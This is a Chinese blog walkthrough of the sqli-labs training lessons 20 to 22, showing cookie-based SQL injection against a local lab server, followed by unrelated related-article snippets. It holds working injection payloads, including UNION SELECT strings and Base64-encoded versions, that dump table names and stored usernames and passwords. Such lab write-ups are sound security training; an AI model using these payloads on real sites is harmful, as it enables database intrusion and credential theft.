sqli-labs less-20 less-21 less-22 cookie注入

embedded/2024/10/17 23:01:36/

COOKIE

作用:是由网络服务器存储在你电脑硬盘上的一个txt类型的小文件,它和你的网络行为有关,记录了当前用户的状态
形式:key=value
例如:当我们登录某个账号后,服务器会在cookies进行记录

在这里插入图片描述
在这里插入图片描述
个人理解当我们登录一个网站后。setcookie函数根据我们登录的账户及密码,加上获取当前时间等其他信息,来生成一个cookie,当我们再次访此页面,不需要重新登入,只需要比对cookie信息,比如在less-20中,cookie根据uname生成,然后用cookie中的信息来比对数据库中的uname,如果正确容许访问。负责拒绝

less20_11">less-20

首先登入一个账号,模拟登入下的注入
登入后用bp抓包

GET /sq/Less-20/index.php HTTP/1.1
Host: 192.168.140.130
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://192.168.140.130/sq/Less-20/index.php
Connection: keep-alive
Cookie:uname=admin
Upgrade-Insecure-Requests: 1
Priority: u=0, i

发现相较于之前,没有了post提交的表单信息,而是ookie:uname=admin
发包,页面回显
在这里插入图片描述
页面有cookie信息和name及password
当我们发包时,数据库提取cookie的uname与数据库的uname进行比较。
于是我们便可以在cookie处进行注入

闭合方式

GET /sq/Less-20/index.php HTTP/1.1
Host: 192.168.140.130
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://192.168.140.130/sq/Less-20/index.php
Connection: keep-alive
Cookie:uname=admin' or 1=1 #
Upgrade-Insecure-Requests: 1
Priority: u=0, i

在cookie处多次尝试,确定闭合方式为',方法与前面关卡寻找闭合方式一样。

列数

Cookie:uname=admin’ order by 5 #
Cookie:uname=admin’ order by 4 #
Cookie:uname=admin’ order by 3 #

列数为3

回显位

Cookie:uname=adminaWE’ union select 1,2,3 #
记得uname为假值,来显示union查询的值

报数据

  • 所有表
  • Cookie:uname=adminaWE’ union select 1,group_concat(schema_name),3 from information_schema.schemata#
    security的所有表
  • Cookie:uname=adminaWE’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#
    users表的所有列
  • Cookie:uname=adminaWE’ union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=‘users’#
    数据
  • Cookie:uname=adminaWE’ union select 1,group_concat(username,password),3 from security.users #

less21_70">less-21

本关卡当我们登入的时候发现页面显示
在这里插入图片描述
这里cookie变成了不认识的符号,我们复制过去百度一下,
在这里插入图片描述

发现这是一种编码,为Base64编码,熟悉的热相信一眼便可以看出来,于是我们不难猜测这是将前端表单信息进行编码,上传到后端解码在进行比对,
所以本关与less-20一致,只不过对cookie进行了Base64编码,我们在进行注入的时候可以先将语句写出来,进行编码,然后在bp中进行注入

闭合方式

构造语句并进行编码

在这里插入图片描述
在bp注入
在这里插入图片描述
回显
在这里插入图片描述
不难看出闭合方式为').

报数据

  • 所有表
  • Cookie:uname=adminaWE’) union select 1,group_concat(schema_name),3 from information_schema.schemata#
    编码YWRtaW5hV0UnKSB1bmlvbiBzZWxlY3QgMSxncm91cF9jb25jYXQoc2NoZW1hX25hbWUpLDMgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEuc2NoZW1hdGEj

security的所有表

  • Cookie:uname=adminaWE’) union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#
    编码
    YWRtaW5hV0UnKSB1bmlvbiBzZWxlY3QgMSxncm91cF9jb25jYXQodGFibGVfbmFtZSksMyBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgdGFibGVfc2NoZW1hPWRhdGFiYXNlKCkj

users表的所有列

  • Cookie:uname=adminaWE’) union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=‘users’#
    编码
    YWRtaW5hV0UnKSB1bmlvbiBzZWxlY3QgMSxncm91cF9jb25jYXQoY29sdW1uX25hbWUpLDMgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyB3aGVyZSB0YWJsZV9zY2hlbWE9ZGF0YWJhc2UoKSBhbmQgdGFibGVfbmFtZT0ndXNlcnMnIw==

数据

  • Cookie:uname=adminaWE’) union select 1,group_concat(username,password),3 from security.users #
    编码
    YWRtaW5hV0UnKSB1bmlvbiBzZWxlY3QgMSxncm91cF9jb25jYXQodXNlcm5hbWUscGFzc3dvcmQpLDMgZnJvbSBzZWN1cml0eS51c2VycyAj

less22_112">less-22

我们发现本关卡也对cookie进行了编码,当我们注入时,发现页面没有回显,当时页面有报错,所以使用报错注入,extractvalue,updatexml,floor都可以使用,闭合方式为".没有其他变化,所以不做过多演示,如果有需要,可以留言,我会将我的语句放在评论区


http://www.ppmy.cn/embedded/127280.html

相关文章

Kafka服务端SASL/PLAIN+ACL认证授权安装操作

Kafkazookeeper安全认证技术介绍 Kafka 目前支持多种认证方式,生产环境常见应用的SASL有以下几种: SSL/TLS认证:本认证是基于SSL/TLS的加密方式,使用SSL/TLS证书对客户端和服务器进行身份验证,确保在传输层上安全保证…

React02 JSX的基本使用

JSX的基本使用 JSX 变量引用JSX 函数调用JSX 方法调用JSX 遍历数组JSX 条件渲染JSX 事件绑定 JSX 变量引用 const userName "BLU"; function App() {return (<div className"App"><p>Hello, {userName}!</p></div>); } export d…

WPF 为button动态设置不同的模板

有时候需要动态的设置一些按钮的状态模板。使一个button显示不同的内容&#xff0c;比如Button未点击安装显示&#xff1a; 安装后显示&#xff1a; 可以通过设置button的content&#xff0c;通过content来设置不同的模板来实现功能&#xff0c;以下是代码&#xff1a; MainWi…

【Webpack--021】ImageMinimizer图片压缩

&#x1f913;&#x1f60d;Sam9029的CSDN博客主页:Sam9029的博客_CSDN博客-前端领域博主 &#x1f431;‍&#x1f409;若此文你认为写的不错&#xff0c;不要吝啬你的赞扬&#xff0c;求收藏&#xff0c;求评论&#xff0c;求一个大大的赞&#xff01;&#x1f44d;* &#x…

MarsCode--字符串有多少种可能性【简单】

问题描述 给定一个数字&#xff0c;我们按照如下规则把它翻译为字符串&#xff1a;0 翻译成 “a” &#xff0c;1 翻译成 “b”&#xff0c;……&#xff0c;11 翻译成 “l”&#xff0c;……&#xff0c;25 翻译成 “z”。一个数字可能有多个翻译。请编程实现一个函数&#x…

打家劫舍系列 | Leetcode 198 | 213 | 337 | 动态规划 | 滚动数组

&#x1f64b;大家好&#xff01;我是毛毛张! &#x1f308;个人首页&#xff1a; 神马都会亿点点的毛毛张 毛毛张今天分享的是动态规划中打家劫舍系列的题目&#xff01; 文章目录 题目1&#xff1a;[198. 打家劫舍](https://leetcode.cn/problems/house-robber/)1.题目描述…

【Rust版从头写CAD】 前言

文章目录 前言 前言 Rust是一种系统级编程语言&#xff0c;注重安全性、性能和并发性&#xff0c;适用于开发高效、安全和可靠的应用程序&#xff0c;非常适合于CAD领域开发。 然而&#xff0c;要实现一个完整的CAD&#xff08;计算机辅助设计&#xff09;软件是一个复杂且耗时…